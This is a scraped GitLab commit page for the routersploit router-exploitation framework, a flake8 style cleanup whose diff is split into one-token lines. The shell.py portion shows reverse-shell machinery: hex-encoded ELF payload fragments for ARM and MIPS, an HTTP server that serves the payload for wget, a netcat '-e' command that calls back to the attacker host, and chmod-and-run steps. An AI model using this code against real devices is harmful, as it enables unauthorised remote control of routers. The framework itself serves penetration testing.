Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
4e556a3f
Commit
4e556a3f
authored
Jul 18, 2016
by
fwkz
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing flake8 violations within core
parent
34297343
Show whitespace changes
Inline
Side-by-side
Showing
12 changed files
with
30 additions
and
44 deletions
+30
-44
__init__.py
routersploit/__init__.py
+0
-0
exceptions.py
routersploit/exceptions.py
+0
-0
interpreter.py
routersploit/interpreter.py
+0
-0
shell.py
routersploit/shell.py
+19
-21
__init__.py
routersploit/test/__init__.py
+0
-0
test_case.py
routersploit/test/test_case.py
+0
-0
test_exploits.py
routersploit/test/test_exploits.py
+0
-6
test_interpreter.py
routersploit/test/test_interpreter.py
+3
-3
test_utils.py
routersploit/test/test_utils.py
+0
-0
test_validators.py
routersploit/test/test_validators.py
+0
-1
utils.py
routersploit/utils.py
+7
-12
__init__.py
routersploit/wordlists/__init__.py
+1
-1
No files found.
routersploit/__init__.py
View file @
4e556a3f
routersploit/exceptions.py
View file @
4e556a3f
routersploit/interpreter.py
View file @
4e556a3f
routersploit/shell.py
View file @
4e556a3f
import
socket
import
socket
import
struct
import
os
import
telnetlib
import
telnetlib
import
SimpleHTTPServer
,
BaseHTTPServer
import
SimpleHTTPServer
import
time
import
BaseHTTPServer
import
threading
import
threading
from
base64
import
b64decode
from
routersploit.utils
import
(
from
routersploit.utils
import
(
print_info
,
print_info
,
...
@@ -48,16 +45,18 @@ def shell(exploit, architecture="", method="", **params):
...
@@ -48,16 +45,18 @@ def shell(exploit, architecture="", method="", **params):
class
HttpRequestHandler
(
SimpleHTTPServer
.
SimpleHTTPRequestHandler
):
class
HttpRequestHandler
(
SimpleHTTPServer
.
SimpleHTTPRequestHandler
):
def
do_GET
(
self
):
def
do_GET
(
self
):
self
.
send_response
(
200
)
self
.
send_response
(
200
)
self
.
send_header
(
'Content-type'
,
'text/html'
)
self
.
send_header
(
'Content-type'
,
'text/html'
)
self
.
end_headers
()
self
.
end_headers
()
self
.
wfile
.
write
(
self
.
server
.
content
)
self
.
wfile
.
write
(
self
.
server
.
content
)
self
.
server
.
stop
=
True
self
.
server
.
stop
=
True
def
log_message
(
self
,
format
,
*
args
):
def
log_message
(
self
,
format
,
*
args
):
return
return
class
HttpServer
(
BaseHTTPServer
.
HTTPServer
):
class
HttpServer
(
BaseHTTPServer
.
HTTPServer
):
def
serve_forever
(
self
,
content
):
def
serve_forever
(
self
,
content
):
self
.
stop
=
False
self
.
stop
=
False
...
@@ -65,6 +64,7 @@ class HttpServer(BaseHTTPServer.HTTPServer):
...
@@ -65,6 +64,7 @@ class HttpServer(BaseHTTPServer.HTTPServer):
while
not
self
.
stop
:
while
not
self
.
stop
:
self
.
handle_request
()
self
.
handle_request
()
class
reverse_shell
(
object
):
class
reverse_shell
(
object
):
arm
=
(
arm
=
(
# elf binary
# elf binary
...
@@ -154,7 +154,8 @@ class reverse_shell(object):
...
@@ -154,7 +154,8 @@ class reverse_shell(object):
"
\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x5f\x5f
"
"
\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x5f\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x5f\x5f
"
"
\x00\x5f\x5f\x62\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f
"
"
\x00\x5f\x5f\x62\x73\x73\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f
"
"
\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x65\x64\x61
"
"
\x62\x73\x73\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x65\x6e\x64\x5f\x5f\x00\x5f\x65\x64\x61
"
"
\x74\x61\x00\x5f\x65\x6e\x64\x00
"
)
"
\x74\x61\x00\x5f\x65\x6e\x64\x00
"
)
mipsel
=
(
mipsel
=
(
# elf binary
# elf binary
...
@@ -241,7 +242,8 @@ class reverse_shell(object):
...
@@ -241,7 +242,8 @@ class reverse_shell(object):
"
\x10\x00\xf1\xff\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72
"
"
\x10\x00\xf1\xff\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72
"
"
\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f
"
"
\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f
"
"
\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73
"
"
\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73
"
"
\x73\x00
"
)
"
\x73\x00
"
)
mips
=
(
mips
=
(
# elf binary
# elf binary
...
@@ -328,7 +330,8 @@ class reverse_shell(object):
...
@@ -328,7 +330,8 @@ class reverse_shell(object):
"
\x10\x00\xff\xf1\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72
"
"
\x10\x00\xff\xf1\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72
"
"
\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f
"
"
\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f
"
"
\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73
"
"
\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73
"
"
\x73\x00
"
)
"
\x73\x00
"
)
exploit
=
None
exploit
=
None
arch
=
None
arch
=
None
...
@@ -381,7 +384,7 @@ class reverse_shell(object):
...
@@ -381,7 +384,7 @@ class reverse_shell(object):
self
.
generate_binary
(
self
.
lhost
,
self
.
lport
)
self
.
generate_binary
(
self
.
lhost
,
self
.
lport
)
# run http server
# run http server
thread
=
threading
.
Thread
(
target
=
self
.
http_server
,
args
=
(
self
.
lhost
,
self
.
lport
))
thread
=
threading
.
Thread
(
target
=
self
.
http_server
,
args
=
(
self
.
lhost
,
self
.
lport
))
thread
.
start
()
thread
.
start
()
# wget binary
# wget binary
...
@@ -418,8 +421,8 @@ class reverse_shell(object):
...
@@ -418,8 +421,8 @@ class reverse_shell(object):
current
=
i
*
30
current
=
i
*
30
print_status
(
"Transferring {}/{} bytes"
.
format
(
current
,
len
(
self
.
revshell
)))
print_status
(
"Transferring {}/{} bytes"
.
format
(
current
,
len
(
self
.
revshell
)))
block
=
self
.
revshell
[
current
:
current
+
30
]
.
encode
(
'hex'
)
block
=
self
.
revshell
[
current
:
current
+
30
]
.
encode
(
'hex'
)
block
=
"
\\
x"
+
"
\\
x"
.
join
(
a
+
b
for
a
,
b
in
zip
(
block
[::
2
],
block
[
1
::
2
]))
block
=
"
\\
x"
+
"
\\
x"
.
join
(
a
+
b
for
a
,
b
in
zip
(
block
[::
2
],
block
[
1
::
2
]))
cmd
=
'$(echo -n -e "{}" >> {})'
.
format
(
block
,
path
)
cmd
=
'$(echo -n -e "{}" >> {})'
.
format
(
block
,
path
)
self
.
exploit
.
execute
(
cmd
)
self
.
exploit
.
execute
(
cmd
)
...
@@ -444,10 +447,7 @@ class reverse_shell(object):
...
@@ -444,10 +447,7 @@ class reverse_shell(object):
def
netcat
(
self
,
binary
,
shell
):
def
netcat
(
self
,
binary
,
shell
):
# run reverse shell through netcat
# run reverse shell through netcat
sock
=
self
.
listen
(
self
.
lhost
,
self
.
lport
)
sock
=
self
.
listen
(
self
.
lhost
,
self
.
lport
)
cmd
=
"{} {} {} -e {}"
.
format
(
binary
,
cmd
=
"{} {} {} -e {}"
.
format
(
binary
,
self
.
lhost
,
self
.
lport
,
shell
)
self
.
lhost
,
self
.
lport
,
shell
)
self
.
exploit
.
execute
(
cmd
)
self
.
exploit
.
execute
(
cmd
)
...
@@ -456,11 +456,9 @@ class reverse_shell(object):
...
@@ -456,11 +456,9 @@ class reverse_shell(object):
def
execute_binary
(
self
,
location
,
binary_name
):
def
execute_binary
(
self
,
location
,
binary_name
):
path
=
"{}/{}"
.
format
(
location
,
binary_name
)
path
=
"{}/{}"
.
format
(
location
,
binary_name
)
cmd
=
"chmod +x {}; {}; rm {}"
.
format
(
path
,
cmd
=
"chmod +x {}; {}; rm {}"
.
format
(
path
,
path
,
path
)
path
,
path
)
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
cmd
,))
thread
=
threading
.
Thread
(
target
=
self
.
exploit
.
execute
,
args
=
(
cmd
,))
thread
.
start
()
thread
.
start
()
def
listen
(
self
,
lhost
,
lport
):
def
listen
(
self
,
lhost
,
lport
):
...
...
routersploit/test/__init__.py
View file @
4e556a3f
routersploit/test/test_case.py
View file @
4e556a3f
routersploit/test/test_exploits.py
View file @
4e556a3f
import
unittest
import
unittest
try
:
import
unittest.mock
as
mock
except
ImportError
:
import
mock
from
routersploit.test
import
RoutersploitTestCase
from
routersploit.test
import
RoutersploitTestCase
from
routersploit.exploits
import
Exploit
,
Option
,
GLOBAL_OPTS
from
routersploit.exploits
import
Exploit
,
Option
,
GLOBAL_OPTS
...
@@ -86,4 +81,3 @@ class OptionTest(RoutersploitTestCase):
...
@@ -86,4 +81,3 @@ class OptionTest(RoutersploitTestCase):
if
__name__
==
'__main__'
:
if
__name__
==
'__main__'
:
unittest
.
main
()
unittest
.
main
()
routersploit/test/test_interpreter.py
View file @
4e556a3f
...
@@ -382,7 +382,8 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
...
@@ -382,7 +382,8 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
mock
.
call
(
'authors_desc'
),
mock
.
call
(
'authors_desc'
),
mock
.
call
(
'
\n
References:'
),
mock
.
call
(
'
\n
References:'
),
mock
.
call
(
'references_desc'
),
mock
.
call
(
'references_desc'
),
mock
.
call
()]
mock
.
call
()
]
)
)
@mock.patch
(
'__builtin__.print'
)
@mock.patch
(
'__builtin__.print'
)
...
@@ -395,8 +396,7 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
...
@@ -395,8 +396,7 @@ class RoutersploitInterpreterTest(RoutersploitTestCase):
self
.
interpreter
.
_show_info
()
self
.
interpreter
.
_show_info
()
self
.
assertEqual
(
self
.
assertEqual
(
mock_print
.
mock_calls
,
mock_print
.
mock_calls
,
[
[
mock
.
call
()]
mock
.
call
()]
)
)
@mock.patch
(
'__builtin__.print'
)
@mock.patch
(
'__builtin__.print'
)
...
...
routersploit/test/test_utils.py
View file @
4e556a3f
routersploit/test/test_validators.py
View file @
4e556a3f
import
unittest
import
unittest
import
socket
try
:
try
:
import
unittest.mock
as
mock
import
unittest.mock
as
mock
...
...
routersploit/utils.py
View file @
4e556a3f
...
@@ -148,7 +148,8 @@ def stop_after(space_number):
...
@@ -148,7 +148,8 @@ def stop_after(space_number):
class
DummyFile
(
object
):
class
DummyFile
(
object
):
""" Mocking file object. Optimalization for the "mute" decorator. """
""" Mocking file object. Optimalization for the "mute" decorator. """
def
write
(
self
,
x
):
pass
def
write
(
self
,
x
):
pass
def
mute
(
fn
):
def
mute
(
fn
):
...
@@ -390,7 +391,7 @@ def pprint_dict_in_order(dictionary, order=None):
...
@@ -390,7 +391,7 @@ def pprint_dict_in_order(dictionary, order=None):
prettyprint
(
rest_keys
,
dictionary
[
rest_keys
])
prettyprint
(
rest_keys
,
dictionary
[
rest_keys
])
def
random_text
(
length
,
alph
=
string
.
ascii_letters
+
string
.
digits
):
def
random_text
(
length
,
alph
=
string
.
ascii_letters
+
string
.
digits
):
""" Random text generator. NOT crypto safe.
""" Random text generator. NOT crypto safe.
Generates random text with specified length and alphabet.
Generates random text with specified length and alphabet.
...
@@ -460,25 +461,20 @@ def posix_shell(chan):
...
@@ -460,25 +461,20 @@ def posix_shell(chan):
while
(
True
):
while
(
True
):
r
,
w
,
e
=
select
.
select
([
chan
,
sys
.
stdin
],
[],
[])
r
,
w
,
e
=
select
.
select
([
chan
,
sys
.
stdin
],
[],
[])
if
(
chan
in
r
)
:
if
chan
in
r
:
try
:
try
:
x
=
unicode
(
chan
.
recv
(
1024
))
x
=
unicode
(
chan
.
recv
(
1024
))
if
len
(
x
)
==
0
:
if
(
len
(
x
)
==
0
):
break
break
sys
.
stdout
.
write
(
x
)
sys
.
stdout
.
write
(
x
)
sys
.
stdout
.
flush
()
sys
.
stdout
.
flush
()
except
socket
.
timeout
:
except
socket
.
timeout
:
pass
pass
if
(
sys
.
stdin
in
r
)
:
if
sys
.
stdin
in
r
:
x
=
sys
.
stdin
.
read
(
1
)
x
=
sys
.
stdin
.
read
(
1
)
if
len
(
x
)
==
0
:
if
(
len
(
x
)
==
0
):
break
break
chan
.
send
(
x
)
chan
.
send
(
x
)
finally
:
finally
:
termios
.
tcsetattr
(
sys
.
stdin
,
termios
.
TCSADRAIN
,
oldtty
)
termios
.
tcsetattr
(
sys
.
stdin
,
termios
.
TCSADRAIN
,
oldtty
)
...
@@ -532,4 +528,3 @@ def tokenize(token_specification, text):
...
@@ -532,4 +528,3 @@ def tokenize(token_specification, text):
else
:
else
:
column
=
mo
.
start
()
-
line_start
column
=
mo
.
start
()
-
line_start
yield
Token
(
kind
,
value
,
line_num
,
column
,
mo
)
yield
Token
(
kind
,
value
,
line_num
,
column
,
mo
)
routersploit/wordlists/__init__.py
View file @
4e556a3f
...
@@ -4,4 +4,4 @@ import pkg_resources
...
@@ -4,4 +4,4 @@ import pkg_resources
defaults
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'defaults.txt'
)
defaults
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'defaults.txt'
)
passwords
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'passwords.txt'
)
passwords
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'passwords.txt'
)
usernames
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'usernames.txt'
)
usernames
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'usernames.txt'
)
snmp
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'snmp.txt'
)
snmp
=
'file://'
+
pkg_resources
.
resource_filename
(
__name__
,
'snmp.txt'
)
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment